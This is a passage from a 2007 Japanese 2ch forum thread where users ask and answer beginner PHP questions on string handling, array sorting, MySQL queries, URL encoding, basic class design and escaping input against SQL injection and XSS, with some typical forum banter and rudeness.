まあ、そんな自分でもわかってないことを質問するよりは10000行ぐらいコード書いてから来なさい。

857 :nobodyさん:2007/06/07(木) 22:32:33 ID:???
>>853
多重継承という機能はJavaの世界では糞と呼ばれています。

858 :nobodyさん:2007/06/07(木) 22:36:52 ID:???
>>853
気持ちはわかる
気にしないでいい
OOPの極意は>>630

859 :853:2007/06/07(木) 22:38:23 ID:???
>>855 僕宛なんですかね??怖くて踏めませんが・・
>>856 わかりました。自分でもよくわからないまま質問しました。もっとたくさん書いてからですね。
>>857 わかりました。というか、わからないんですが、多重継承が糞と呼ばれてることだけは、
おぼえておきます。

皆さん、どうもありがとうございました。どんどん書いてみます。

860 :853:2007/06/07(木) 22:40:41 ID:???
>>858 レス、すれ違いになってしまいました。
どうもありがとうございました。気持ちを分かっていただいた上で
気にしないでいいということなので、気にせずにどんどん進めていきます。

ありがとうございました。PHPは面白いですね。Cだと、コンソール画面に向かって
短いプログラムを作ってるだけなんで。

みなさん、ありがとうございました。

861 :nobodyさん:2007/06/07(木) 23:40:16 ID:???
>>840
クエリの文法間違ってるしGETじゃactionでパラメータは渡せん。
<input type="hidden"〜をパラメータ分作ってvalueに指定する。

>>853
インターフェイスはクラスメソッドの仕様書みたいなもんだが…。
組み込みインターフェイスを実装して
http://www.php.net/manual/ja/language.oop5.iterations.php
こんな風にオブジェクトをforeachとかで使えるようにしたりとか…。
しかしPHPでは使う機会はほとんどないかな?
まぁOOPは確かに勉強しようとするよりも
組んでいって使う場面に出会った時、こんな素敵な機能が、と気付くような物だからね。

862 :nobodyさん:2007/06/07(木) 23:49:31 ID:???
>>861
ありがとうございます!!
今から頑張ります。

863 :nobodyさん:2007/06/08(金) 01:15:57 ID:YM7YDoyY
error_reporting = E_ALL
にしてると、注意で「Notice」が表示されるけど、
表示されるようにしておいたほうがいいのかな?

それとも、Noticeくらいならぜんぜん問題ないのかな?

864 :nobodyさん:2007/06/08(金) 01:24:20 ID:rQuqM37d
こんばんは。

初めて読ませていただきましたが、みなさん面白いですね。

私も仕事でPHP等使ってますが、この掲示板のところどころに
見覚えのある単語がかかれていたので、つい最後まで読んでしまいました。

私の環境では、PHP3,4,5サーバーが混在するので、怖くてクラスの機能は超基本的な部分しか使ってません。

多重継承... 試したことがありません。(おそらく動くでしょうけど・・・)

865 :nobodyさん:2007/06/08(金) 01:25:52 ID:???
3とか使ってるほうが怖いよ

866 :nobodyさん:2007/06/08(金) 01:39:02 ID:rQuqM37d
あるんですよ。これが・・・

4〜5年前のもの。
各種2〜3バージョン前のもの。

ほとんどが手続き型で保守がしんどい・・・。
ざっくり再構築したいのだが・・・

ま、明日もがんばります。では!

867 :nobodyさん:2007/06/08(金) 02:11:49 ID:???
あと100レスぐらいあとに書くもんなんだろうけど。

【PHP】下らねぇ質問はここに書き込みやがれ 46 (前スレ)
http://pc11.2ch.net/test/read.cgi/php/1178955837/
【PHP】下らねぇ質問はここに書き込みやがれ 45 (ここ。実質 47)
http://pc11.2ch.net/test/read.cgi/php/1178955768/
【PHP】下らねぇ質問はここに書き込みやがれ 47 (次スレ?実質 48)
http://pc11.2ch.net/test/read.cgi/php/1180181033/

だったっけ?

868 :nobodyさん:2007/06/08(金) 02:30:13 ID:???
>>863
Noticeまで出ないように書く。

869 :nobodyさん:2007/06/08(金) 07:02:43 ID:YM7YDoyY
>>868
だよね、一番良い対策はそれだよね・・・

if($_POST['check']){
でNoticeが出るんだけどなんでだろ
結構この書き方使うのに・・・

870 :nobodyさん:2007/06/08(金) 07:24:41 ID:???
isset、empty使いましょう

871 :nobodyさん:2007/06/08(金) 07:28:12 ID:???
>>869
未定義の変数を評価しようとしてるからだよ
外から来た変数が空か、定義されてるか調べるには
empty($_POST['check'])とかisset($_POST['check'])

872 :nobodyさん:2007/06/08(金) 07:43:07 ID:???
Notice出たことないな
Fatalばっかし

873 :nobodyさん:2007/06/08(金) 07:54:36 ID:???
htmlでいうところのstrictかtransitionalかってところだな。

874 :nobodyさん:2007/06/08(金) 07:55:44 ID:???
PHPは多重継承できないから。
初心者が間に受けるからオマイラ適当なこというな

875 :nobodyさん:2007/06/08(金) 08:29:03 ID:???
多重継承という負の遺産まで、Javaを真似て取り込んじゃうのがPHPクオリティー
多重継承はできないけど、合成関数で多重継承ライクなことはPHPでもできるよ。

876 :nobodyさん:2007/06/08(金) 11:05:51 ID:???
>>852
> <form action=\"page3.php="..$_GET['・・・・

というか

<form action=\"page3.php?".$_GET['・・・・

じゃ。

877 :nobodyさん:2007/06/08(金) 11:14:27 ID:???
二重エンコードされたURLを判別する方法ってありますか?
二重でコードではなく一度だけデコードしたいのですが。

878 :nobodyさん:2007/06/08(金) 11:34:03 ID:???
ぐるぐるデコードしていって最後に一度エンコードすれば

879 :nobodyさん:2007/06/08(金) 11:39:55 ID:???
>>878
エンコードされていない文字列が入ってきた場合に問題が…。

880 :nobodyさん:2007/06/08(金) 11:55:04 ID:???
>>877
おまえの家に鍵が二つあったとして、2つ鍵をかけた。
その鍵を2つとも一回であけたい


こういうことか?

881 :nobodyさん:2007/06/08(金) 11:55:24 ID:???
<?php
$a = 0;
$htemp = array("35.0","35.1","35.2","35.3","35.4","35.5","35.6","35.7","35.8","35.9",
"36.0","36.1","36.2","36.3","36.4","36.5","36.6","36.7","36.8","36.9",
"37.0","37.1","37.2","37.3","37.4","37.5","37.6","37.7","37.8","37.9",
"38.0","38.1","38.2","38.3","38.4","38.5","38.6","38.7","38.8","38.9",
"38.0","39.1","39.2","39.3","39.4","39.5","39.6","39.7","39.8","39.9",
"40.0","40.1","40.2","40.3","40.4","40.5","40.6","40.7","40.8","40.9",
"41.0","41.1","41.2","41.3","41.4","41.5","41.6","41.7","41.8","41.9",
"42.0","42.1","42.2","42.3","42.4","42.5","42.6","42.7","42.8","42.9",);

print("<select name=htemp><option>");
while($a < 80) {
print("<option>$htemp[$a]");
$a++;
}
print("</option></select>");
?>

もっとスマートに記述する方法、教えて偉い人

882 :nobodyさん:2007/06/08(金) 12:01:16 ID:???
>>880
入ってくるデータが
URLエンコ*2
URLエンコ
の二種類あり前者ならURLエンコを、後者なら元の文字列を得たい、ということです。

883 :nobodyさん:2007/06/08(金) 12:01:46 ID:???
<?php
$htemp = array("35.0","35.1","35.2","35.3","35.4","35.5","35.6","35.7","35.8","35.9",
"36.0","36.1","36.2","36.3","36.4","36.5","36.6","36.7","36.8","36.9",
"37.0","37.1","37.2","37.3","37.4","37.5","37.6","37.7","37.8","37.9",
"38.0","38.1","38.2","38.3","38.4","38.5","38.6","38.7","38.8","38.9",
"38.0","39.1","39.2","39.3","39.4","39.5","39.6","39.7","39.8","39.9",
"40.0","40.1","40.2","40.3","40.4","40.5","40.6","40.7","40.8","40.9",
"41.0","41.1","41.2","41.3","41.4","41.5","41.6","41.7","41.8","41.9",
"42.0","42.1","42.2","42.3","42.4","42.5","42.6","42.7","42.8","42.9",);

print("<select name=htemp><option>");
foreach($htemp as $v) {
print("<option>$v</option>");
}
print("</select>");
?>

884 :nobodyさん:2007/06/08(金) 12:05:35 ID:???
>>882
二種類のユーザー定義関数を作成して、条件判断して振ればいい。

885 :nobodyさん:2007/06/08(金) 12:07:41 ID:???
883です、
もっと、シンプルに記述するにはどうすればいいですか

886 :nobodyさん:2007/06/08(金) 12:13:06 ID:???
>>885
>>1

887 :nobodyさん:2007/06/08(金) 12:20:43 ID:???
マニュアル読んでも、わからないので

888 :nobodyさん:2007/06/08(金) 12:24:02 ID:???
マニュアル見る前にまず>>1を読め

889 :nobodyさん:2007/06/08(金) 12:25:52 ID:I6Gynhm5
IDのことですか
これでいいですか

890 :nobodyさん:2007/06/08(金) 12:28:24 ID:???
>>889
>>1

891 :nobodyさん:2007/06/08(金) 12:28:50 ID:???
マニュアルのどの辺読んだんですか

892 :nobodyさん:2007/06/08(金) 12:31:41 ID:???
ここの人なら簡単だと思って聞いたのですが、
あんなコードでも使えるので、もういいですよ

では、

893 :nobodyさん:2007/06/08(金) 12:32:48 ID:???
二度と来ないで下さいね

894 :nobodyさん:2007/06/08(金) 12:34:17 ID:???
配列の保持が必要ないなら
for($i = 35; $i < 43; $i += 0.1)
とか、PHP5以上なら
range(35,43,0.1)
とか。

895 :nobodyさん:2007/06/08(金) 12:39:39 ID:???
>>883
俺ならそんな配列をわざわざ作らないでPHPに計算させる

896 :nobodyさん:2007/06/08(金) 12:47:27 ID:???
>>882
"%" を urlencode すると、 "%25"になるよな?
で、"%25" をurlencodeすると "%2525"になる。

ここで、"%2525"が与えられたときに、
これが"%"を2重エンコードしたものか、"%25"を一回エンコードしたものか
どうにかして判断できないかってこと?

入力データ依存のヒューリスティックな推測以外ないだろうね。


897 :nobodyさん:2007/06/08(金) 12:58:32 ID:???
>>882を見る限り、普通に1回デコードすれば当人希望の状態になる気がするんだけど。

URLエンコ*2→「前者ならURLエンコを」
URLエンコ→「後者なら元の文字列を」
でしょ。

2回エンコード後が %2525 → %25 (元は "%")
1回エンコード後が %2525 → %25 (元がこれ)

898 :nobodyさん:2007/06/08(金) 13:10:45 ID:???
>>894
$iとかの一文字ってわかりづらいんですけど
みんながこういう変数を使うのは何でですか?

899 :nobodyさん:2007/06/08(金) 13:15:16 ID:???
ループのカウンタが i, j, k だったりするのは慣習。
「そもそもはFORTRANでどーたらこーたら」とか言う話を聞いた記憶が。

900 :nobodyさん:2007/06/08(金) 13:43:02 ID:???
>>898
incrementの頭文字だから?

901 :nobodyさん:2007/06/08(金) 13:48:29 ID:???
http://ja.wikipedia.org/wiki/%E5%A4%89%E6%95%B0

902 :nobodyさん:2007/06/08(金) 13:55:39 ID:???
本物も偽物も早く死ね

903 :896:2007/06/08(金) 14:27:51 ID:???
>>897
そうは思ったんだけど、
いくらなんでもそんなこと人に聞かないよなと思ってエスパーのふりしてみた。


904 :nobodyさん:2007/06/08(金) 14:37:45 ID:???
phpでMySQL使うときはmysqlとmysqliどっちがええのん?

905 :nobodyさん:2007/06/08(金) 14:45:02 ID:Xs31IcmG
$test = "abcdefvhijklmnopqrstuvwxyz0123456789あいうえおかきくけこさしすてそ";
を10文字単位で区切り文字を入れたいのですが
どうやらばいいのでしょうか?


906 :nobodyさん:2007/06/08(金) 15:02:23 ID:6ggljLpp
10000000000 * 10000000000
百億 * 百億 の結果を整数で表示したいのですがどうしたらいいのでしょうか?

907 :nobodyさん:2007/06/08(金) 15:10:15 ID:???
>>904
どっちでも問題なくPHPでMySQL使える

>>905
マルチバイトの文字列関数使えばできるのかもしれないけどざっと見た感じではよう分からん。
forで回したほうが早いかも

>>906
http://jp2.php.net/manual/ja/ref.bc.php

908 :nobodyさん:2007/06/08(金) 15:20:48 ID:JzH9jcRm
ふと思うんだけど
クラスの利点は再利用って言うけど
ユーザー関数郡をインクルードしたって同じじゃないの?
別に中の変数名違うのでもグローバルしなきゃ大丈夫だし

909 :nobodyさん:2007/06/08(金) 15:23:01 ID:???
>>905
10文字づつmb_substrで配列にして
forで好きな文字はさんでもどせば?

910 :nobodyさん:2007/06/08(金) 15:25:31 ID:6ggljLpp
>>907
ありがとうございます。
echo bcmul(bcmul('10000000000', '10000000000'), bcmul('10000000000', '10000000000'));
で百億の四乗とかやってみたかったのです。
もう少し見やすくする方法はないですよね?

911 :nobodyさん:2007/06/08(金) 15:35:06 ID:???
>>910
> bcpow ? 任意精度数値をべき乗する

912 :nobodyさん:2007/06/08(金) 15:44:38 ID:Xs31IcmG
>>907 >>909
ありがとうございます
とりあえず以下を作って対応しました
$test = "abcdefvhijklmnopqrstuvwxyz0123456789あいうえおかきくけこさしすてそ";
echo hohoge($test,",",10);
function hohoge($text="",$key="",$limit=100){
$max = $start = 0;
$temp = array();
if($text=="" && $limit < 0){
return false;
}
$max = mb_strlen($text);
while($max > $start){
$temp[] = mb_substr($text,$start,$limit);
$start += $limit;
}
return implode($key,$temp);
}

913 :nobodyさん:2007/06/08(金) 15:46:42 ID:???
>>910
1e10
1E+10

914 :nobodyさん:2007/06/08(金) 15:57:07 ID:???
>>908
それがそもそもの間違い。
よくクラスはその書き方から名前空間の付いた関数群のようなものと思われがちだが、
クラスは関数よりの概念ではない。

クラスとは型であって構造体とかもっと言ってしまえばスカラー型に近いもの。
クラスの再利用っていうのは処理の再利用ではなく型の再利用。
メソッドはクラスメンバを操作するためにある。
フィールドとメソッドを内包してカプセル化することにより、
それが一つの物として機能することに価値がある。

火打ち石で何かに火を付けるよりライター1つみたいな。

とまぁ長々書いたがとりあえずクラスとは関数群ではなく型であるということを覚えておいてほしい。

915 :nobodyさん:2007/06/08(金) 16:17:15 ID:ORXPTs1E
Parse error: syntax error, unexpected $end in C:\xampp\htdocs\test\tenki2.php on line 59
WEB上のサンプルファイルを試してたら上記のようなエラーがでましたが
どのような意味みなるのでしょうか?


916 :nobodyさん:2007/06/08(金) 16:21:18 ID:???
終わらすには早いよ〜何か抜けてるよーって意味だ

どうせ ;か } あたりがぬけてんだろ

917 :nobodyさん:2007/06/08(金) 16:30:23 ID:???
>>908
一度作ってしまえば、あとは中の人が頑張ってくれるんですよ。

918 :nobodyさん:2007/06/08(金) 16:31:55 ID:ORXPTs1E
>>916
ありがとうございます

919 :914:2007/06/08(金) 16:38:48 ID:???
>>908
ちょっと書き方が悪かった。簡潔に
自身の振る舞い方を知っている型。
と言った方がいいかもしれん

920 :nobodyさん:2007/06/08(金) 17:11:03 ID:HgwodoIy
$test = 'abcdefvhijklmnopqrstuvwxyz0123456789あいうえおかきくけこさしすてそ';
$encode = 'Shift_JIS';
$delimiter = '/';
$limit = 16;

$str = mb_substr($test, 0, $limit, $encode);
for ($i = $limit; $i < mb_strlen($test, $encode); $i = $i + $limit){
 $str .= $delimiter.mb_substr($test, $i, $limit, $encode);
}

echo $str;//abcdefvhijklmnop/qrstuvwxyz012345/6789あいうえおかきくけこさし/すてそ

--
ちょっと前に自分で書いたのはこんな感じ
あとマルチバイト関数使うときはエンコードちゃんと指定した方がよかよ

921 :908:2007/06/08(金) 17:43:33 ID:JzH9jcRm
>>919
あー
税金というクラスがあったとして
このオブジェクトはお金を計算する型です。
この中に格納して、いろんなメソッドを指定すれば
所得税や手取り金など、簡単に取り出せます
みたいな?




922 :nobodyさん:2007/06/08(金) 18:14:44 ID:au/61P4H
>>905
UTF-8で書いているなら、 preg_replaceを使って簡単に書けます。

$string = 'abcdefvhijklmnopqrstuvwxyz0123456789あいうえおかきくけこさしすてそ';
$string = preg_replace('/(?:^|\G)(.{10})/u', '${1};', $string);

923 :nobodyさん:2007/06/08(金) 18:55:15 ID:Xs31IcmG
>>920
ありがとうございます
文字コード指定するようにしました

>>922
残念ながらUTF-8ではなくEUC-JPです
なので今回は利用できそうにありません
しかし次回機会があったら是非使わせていただきます
ありがとうございます

924 :nobodyさん:2007/06/08(金) 20:13:13 ID:rQuqM37d
http://www.php.net/manual/ja/function.mb-substr.php

よくできたマニュアルだ〜。

私もこの手の文字列操作をよくしてるが、FreeBSD, PHP (.configure -enable-mbstring のみのような) 環境では、
EUC-JP以外の文字の取り扱いは、たまにお手上げのような状況にはまることがあるな〜。




925 :nobodyさん:2007/06/08(金) 20:56:58 ID:rQuqM37d
$test = "abcdefvhijklmnopqrstuvwxyz0123456789あいうえおかきくけこさしすてそ";

for ($i=1; $i<=mb_strlen($test); $i++){
  $string.=mb_substr($test, $i,1);
  if ( ($i%10) == 0 ) {
   $string.="/";
  }
}
echo $string;

かな〜。

926 :nobodyさん:2007/06/08(金) 21:01:58 ID:???
単純そうでやり方が思いつかないのですが
アルファベットを順番に表示させたいのですが…

< a href="hoge.html?$search=A">A行</a>

927 :nobodyさん:2007/06/08(金) 21:02:43 ID:SfnUwTBh
<a href="hoge.html?$search=B">B行</a>
<a href="hoge.html?$search=C">C行</a>
<a href="hoge.html?$search=D">D行</a>
とリンクを作りたくて…

928 :nobodyさん:2007/06/08(金) 21:03:11 ID:???
ねえ?
なんでくだ質系のスレは回答する人も初心者さんばかりなの?

929 :927:2007/06/08(金) 21:11:45 ID:SfnUwTBh
<?
$abc = "A";
for($i=1; $i < 27; $i++) {
echo '<a href="?alphabet='.$abc.'">'.$abc.' </a>';
$abc++;
}
?>
そんなアホなと思いつつこれでできちゃうんですね…
でも小文字は変換するしかないのかな

930 :nobodyさん:2007/06/08(金) 21:15:34 ID:rQuqM37d
問題が初心者向けだからだ>928

931 :nobodyさん:2007/06/08(金) 21:16:05 ID:???
>>927
for($i=65;$i<91;$i++){
echo '<a href="hoge.html?search='.chr($i).'">'.chr($i).'行</a>'."\n";
}

932 :nobodyさん:2007/06/08(金) 21:21:21 ID:rQuqM37d
お。基本的なCの命令文(?)は、PHPマニュアルにはないから見落とす。
さすがですね。

933 :nobodyさん:2007/06/08(金) 21:25:55 ID:???
>>931
あ!ありがとうございます
chr()調べにいきます…

934 :nobodyさん:2007/06/08(金) 21:35:22 ID:8TLyKZoa
すみませんが教えてください
$user_arr = array(
 1 => array('1','pop','0'),
 2 => array('2','red','1'),
 3 => array('3','dream','1'),
 4 => array('4','braian','0'),
 5 => array('5','boy','0'),
 6 => array('6','test','0')
);
この$user_arr配列を pop,red,dream...の項目でソートすることは
出来ないでしょうか?


935 :nobodyさん:2007/06/08(金) 21:45:29 ID:/7xjylPa
>>934
usort()

936 :nobodyさん:2007/06/08(金) 21:54:03 ID:???
>>934
$user_arr = array(
 1 => array('1','pop','0'),
 2 => array('2','red','1'),
 3 => array('3','dream','1'),
 4 => array('4','braian','0'),
 5 => array('5','boy','0'),
 6 => array('6','test','0')
);


function cmp($a,$b){
return strcmp($a[1],$b[1]);
}
usort($user_arr,"cmp");
echo print_r($user_arr);

937 :nobodyさん:2007/06/09(土) 03:12:26 ID:???
mysqlをはじめてつかうならiはあとからにしろ

938 :nobodyさん:2007/06/09(土) 03:13:06 ID:???
iは拡張版みたいなもんじゃね?

939 :nobodyさん:2007/06/09(土) 03:13:15 ID:???
>>934
↑↑↓↓→←→←

940 :nobodyさん:2007/06/09(土) 11:39:16 ID:???
$hoge[0]['name'] = "C";
$hoge[0]['value'] = "シー";
$hoge[1]['name'] = "A";
$hoge[1]['value'] = "エー";
$hoge[2]['name'] = "B";
$hoge[2]['value'] = "ビー";

上のような配列 $hoge を $hoge[$i]['name'] の名前順に並べ変えたいのですが
どうすればよいでしょうか?

つまり
$hoge[0]['name'] = "A";
$hoge[0]['value'] = "エー";
$hoge[1]['name'] = "B";
$hoge[1]['value'] = "ビー";
$hoge[2]['name'] = "C";
$hoge[2]['value'] = "シー";
のように変更したいと考えています



941 :nobodyさん:2007/06/09(土) 11:52:54 ID:???
>>940
キーワード
・foreach
・代入

942 :nobodyさん:2007/06/09(土) 12:22:29 ID:j2tEU2dd
mbstring.internal_encoding = EUC-JP
mbstring.http_output = SJIS

この設定のとき、EUCで作成したファイルはSJISの問題に関する対処を入れておくべきでしょうか?

943 :nobodyさん:2007/06/09(土) 12:23:08 ID:???
ftp_put()使ったときに
多くのFTPクライアントみたいに
改行コードを自動的に書き換えるようにしたいのですが、
普通にstr_replaceあたり使ってシコシコするしかないですかね?
なんか簡単な方法ないでしょうか。
改行コードの識別時点でかなりだるそうなのですが。

944 :nobodyさん:2007/06/09(土) 12:39:41 ID:???
\n に統一 str_replace(array("\r\n", "\r"), "\n", $str)
\r\n に統一 preg_replace("/(?<!\r)\n|\r(?!\n)/", "\r\n", $str)

945 :nobodyさん:2007/06/09(土) 12:42:04 ID:???
>>940
<?php
$hoge[0]['name'] = "C";
$hoge[0]['value'] = "シー";
$hoge[1]['name'] = "A";
$hoge[1]['value'] = "エー";
$hoge[2]['name'] = "B";
$hoge[2]['value'] = "ビー";
foreach ($hoge as $key => $row) {
$name[$key] = $row['name'];
}
array_multisort($name, $hoge);
print_r($hoge);

かな
それかユーザ関数作る


946 :940:2007/06/09(土) 12:52:17 ID:???
>>945
神サンクス!!

947 :nobodyさん:2007/06/09(土) 20:43:27 ID:RIHYcObC
正規表現で文字列を検索したいのですが、
""や''内は検索の対象外としたいです。
どうすれば可能でしょうか?

948 :nobodyさん:2007/06/09(土) 22:00:20 ID:fw4XPRkl
携帯からですみません。
iモードhtmlシュミレーターで
http://localhost/bbs.php
にアクセスしようとしても接続出来ません。と出るのですが、
どうしたらよいでしょうか?
WindowsでApacheを使っています。

949 :nobodyさん:2007/06/09(土) 22:17:11 ID:???
>>947
何がしたいのか、漠然としすぎてて答えにくいが、PHPの中で検索したいのか?
タグ内の文字列を検索条件から取り除きたいのなら、まずstrip_tagsした後に、抽出するとか

950 :nobodyさん:2007/06/09(土) 22:25:35 ID:???
>>948
スレ違い
まず適当なindex.htmlを作って設置してみて、
http://localhost/index.htmlに繋がるか試せ。どうせ繋がらないはず。



951 :nobodyさん:2007/06/09(土) 22:28:58 ID:fw4XPRkl
>>950
先ほどの質問をした者ですが、
繋がらない理由を教えていただけませんか?

インターネットエクスプローラーなら繋がるのですが、

952 :nobodyさん:2007/06/09(土) 22:33:55 ID:???
>>951
そもそもlocalhostって何か理解してますか?

953 :nobodyさん:2007/06/09(土) 22:35:39 ID:???
大人が小学1年生を相手にしているような流れですね

954 :nobodyさん:2007/06/09(土) 22:39:26 ID:fw4XPRkl
>>952
先ほど質問した者ですが、localhostの意味がわからないので説明してくれませんか?

955 :nobodyさん:2007/06/09(土) 22:39:33 ID:???
小学6年生が1年生の世話を嫌々見ているようなインターネッツですね

956 :nobodyさん:2007/06/09(土) 22:40:40 ID:???
案外多いのなwww
http://www.google.co.jp/search?q=localhost%E3%81%AE%E6%84%8F%E5%91%B3&lr=lang_ja&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:ja:unofficial&client=firefox-a

957 :nobodyさん:2007/06/09(土) 22:41:32 ID:???
あまりにもPHPと関係がないことに感心します。

958 :nobodyさん:2007/06/09(土) 22:42:55 ID:???
>>954
スレ違いだと言っているけれど。ついでだから教えてあげる。

IEは localhost→ hostsファイルを参照→ 127.0.0.1 (自分自身) と解釈して、自分のPCに繋がるわけ。

どうせi-modehtmlシュミレータは、それを解釈できないだけでしょ。
設定画面か何かに、hostsファイルを参照するとかその辺の設定があるはず。んでそれがOFFになっていて解釈できないと。

だからPHPは全く関係ない。

959 :nobodyさん:2007/06/09(土) 22:48:11 ID:fw4XPRkl
>>958
先ほど質問した者ですが、
設定はONにしてありますが、接続出来ないのです。
これはなぜでしょうか?

960 :nobodyさん:2007/06/09(土) 22:54:21 ID:???
>>959
・そのシュミレータとやらを一回再起動したりした?
・あと >>948 は試してみた?
・パーソナルファイヤーウォールとかで蹴られていないか?

何故でしょうと聞かれても、エスパーじゃないから出来ない。
一つづつ可能性をつぶしていけよ。 これ以上は自分でググってがんばれ。


961 :nobodyさん:2007/06/09(土) 23:01:02 ID:fw4XPRkl
>>960
丁寧なる改善策ありがとうございます。
お時間を取らせてしまいすみませんでした。
http://127.0.0.1/bbs.phpとしましたら接続出来ました。
ありがとうございます。
では

962 :nobodyさん:2007/06/09(土) 23:12:39 ID:yCd1SwCo
$object->arrayvar[$key]
とは書けないですよね?
$object1->object2->var
はできるのになんなのこの言語。

963 :nobodyさん:2007/06/09(土) 23:17:47 ID:???
>>962
書けるが…?

964 : ◆yBEncckFOU :2007/06/09(土) 23:21:22 ID:???
文字の取り扱い、重荷サニタイズについての質問です。
1 mysqlへのデータ格納時にサニタイズしなければならない文字
2 html出力時にサニタイズしなければならない文字
3 get/postでのデータ受け取り直後にサニタイズしなければならない文字
を教えていただきたいです。
また、htmlspecialcharsでjavascriptなどの特殊なスクリプトの埋め込み攻撃を完全に防げるのかどうか教えていただきたいです
また、上記すべての設定ではmagic_quote gpcの設定をonで使用することを前提としてのアドバイスをお願いいたします


965 : ◆yBEncckFOU :2007/06/09(土) 23:25:21 ID:Op34nGQd
アゲ忘れです(TT;

966 :nobodyさん:2007/06/09(土) 23:44:35 ID:???
>>964
先ほど質問した者ですが、 質問は1人1つまででお願いします

967 :nobodyさん:2007/06/09(土) 23:49:57 ID:???
>>964
SQLInjectionとXSSがごっちゃになってるような
お約束ってことで「サニタイズ言うな」

1はそれぞれDBのエスケープ用の関数なりプレースホルダーなりを使う
2はhtmlspecialchars
3はいらない

968 : ◆yBEncckFOU :2007/06/09(土) 23:55:24 ID:Op34nGQd
>>967
ありがとうございました

969 :nobodyさん:2007/06/10(日) 00:03:14 ID:???
>>964
「サニタイズ言いたいだけちゃうんか」
というのは置いておいて、

・どうしてもmagic_quote gpc on なんですか
・DB格納用のエスケープ処理と、XSS対策を一緒くたにすんな
・mysql内部の文字コード、php側の文字コードは?
・ユーザの入力にhtmlを許可するのか?しないのか?
・LGPL使っていいのなら、http://htmlpurifier.org/ とか面白い。


あと、
ttp://cgi36.plala.or.jp/tera5/v/security/webap_sec2/chap01.html へんとか
ttp://cgi36.plala.or.jp/tera5/v/security/char_xss1/chap01.html へん
とかは一読の価値ありか。

970 :nobodyさん:2007/06/10(日) 00:05:30 ID:???
不特定のURLから取得したファイルについて、
ファイルの内容(テキスト、画像、動画など)を判別する方法を教えてください。

$url = 'http://www.sample.com/****';
$file = file_get_contents ($url);

971 : ◆yBEncckFOU :2007/06/10(日) 00:13:58 ID:isb7MrtT
>>969
ありがとうございました


972 :nobodyさん:2007/06/10(日) 00:25:41 ID:qbDoORWs
MySQL総合から誘導されてきますた


MySQL + PHP で掲示板を作っているのですが、分からないことがあります。

MySQLのSQL文中にPHPの変数を入れたいです。
こんなカンジ↓

$sql = "select count(*) from post2 where tid=".$row["id"];

これで実行してみるとResource id #4 Resource id #5 Resource id #6...
といった結果が得られて思うような結果(掲示板のレス数)が得られません。

どのようにすればいいか教えてください。お願いします。

973 :nobodyさん:2007/06/10(日) 00:28:56 ID:???
>>972
先ほど質問した者ですが、Resource id の意味わかってますか?

974 :nobodyさん:2007/06/10(日) 00:42:49 ID:???
>>970
http://jp.php.net/manual/ja/ref.fileinfo.php

975 :972:2007/06/10(日) 00:43:15 ID:qbDoORWs
>>973
レスありがとうございます。
Resource idは分かっていません・・・。
ぐぐってみましたが有用な情報は得られませんでした。
Webプログラムは検索が難しいです。

もう少し考えてみることにします。
ありがとうございました。

976 :nobodyさん:2007/06/10(日) 00:49:58 ID:17od7jmr
SQLを出力するクラスにWHERE情報を加えたいんだが、
ANDとORのグルーピングを考えるとどうしても一つの条件を
オブジェクトまたは配列にしないとうまくできないと思った。
けど、できますか?
またはよく言われているcriteriaクラスとかはどうやってるんでしょうか。

977 :nobodyさん:2007/06/10(日) 00:52:18 ID:???
>>975

マニュアル嫁 >>1

$ret = mysql_query($sql);
while ($a = mysql_fetch_assoc($ret)) {\
var_dump($a);
}


978 :nobodyさん:2007/06/10(日) 00:52:27 ID:???
>>976
先ほど質問した者ですが、前半はコード出して
後半はググれ

979 :nobodyさん:2007/06/10(日) 01:02:53 ID:???
>>976
エスパーレスすると

where
1=1 and ほげ
or
(0=1)

とか工夫汁



980 :nobodyさん:2007/06/10(日) 01:03:12 ID:???
「先ほど質問した者ですが、」が気に入ったのはわかったけど、IDを出してやってくれないと
ID:fw4XPRklに対して感じた「いや、書かなくてもわかるから」感がなくて物足りない。

981 :976:2007/06/10(日) 01:11:16 ID:17od7jmr
コード出すというか概念を話すと、WHERE条件を複数持つことのできる
Trayクラスを作って、
var $connection="AND";
var $elements=array();
function elementtray($connection)
{
$this->connection=$connection;//(ANDかOR)
}
function addelement($element)
{
$this->elements[]=$element;
}
でこの$elementのデータ型もまたオブジェクトなわけ。
そんで
function output
{
$ret="SELECTうんぬん。";
foreach($this->elements as $element){
$ret.= $element->output();
}
}
というかんじにする。ここをポリモって、
elementクラスにもoutputメソッドを入れといて、
elementtrayのなかに入れ子にできるようにするわけだ。
こんなんしか思いつかん。

982 :972:2007/06/10(日) 01:13:59 ID:qbDoORWs
>>977
ありがとう。
おかげでうまくいきました。

$sql = "select count(*) as reply from post2 where tid = $row[id]";

として新しいフィールドを作ってあげるとうまくできました。感謝!

983 :nobodyさん:2007/06/10(日) 01:15:25 ID:???
フィールドじゃないし
そんなことしなくても取れるけどね

984 :nobodyさん:2007/06/10(日) 01:22:00 ID:???
>>980
先ほど質問した者ですが、これやってる人ウザいよね
やめろ

985 :nobodyさん:2007/06/10(日) 01:35:55 ID:???
>>982
$sql = "select count(*) as reply from post2 where tid = {$row['id']}";
って書いたほうが俺は安心する。

986 :976:2007/06/10(日) 01:39:02 ID:17od7jmr
男は黙ってsprintf

ところでわたくしの質問なんですが誰も答えてくれないですよねすんません。
結局WHERE以下の1文章をオブジェクトにする設計にしそうです。

987 :nobodyさん:2007/06/10(日) 01:45:29 ID:???
>>986
すまん、配列のelementに入ってくる引数の$elementsが何なのか
分からん

988 :nobodyさん:2007/06/10(日) 01:50:11 ID:???
>>986
便利なクラス作ってうpってくれ

989 :976:2007/06/10(日) 01:50:12 ID:17od7jmr
説明不足すぎました。
$elementは、WHERE以下の1つの条件文をもつオブジェクトです。
たとえばWHERE uid< 79 AND (uname like %a% OR uname like %b%)
というWHERE以下の条件に対して、一つのelementオブジェクトは
uid<79または
name like %a%または
uname like %b%であるということです。
この括弧で括る「グルーピング」をうまく表現したかったんです。

990 :nobodyさん:2007/06/10(日) 02:17:19 ID:???
>>989
いろいろあるだろうけど、ラムダを使って入れ子方式にすんのはどうよ。
$cond->add("uid < 79");
$cond->or(create_function('$cond','
 $cond->add("uname like %a%");
 $cond->add("uname like %b%");
'));

うーん、文字列で渡すのがいまいちださいな。
create_functionはor()の中で呼んでもいいね。


991 :867:2007/06/10(日) 02:21:12 ID:???
たまたまこのタイミングで見ててよかった。
次スレの扱いは>>867な感じでいいのかな?

過去スレリストなんかはその次でどうにかするとして。

992 :nobodyさん:2007/06/10(日) 02:39:31 ID:???
>>989
あんま的確なレスになってないけど
ttp://www.symfony-project.com/snippets/snippets/tagged/criteria/order_by/date

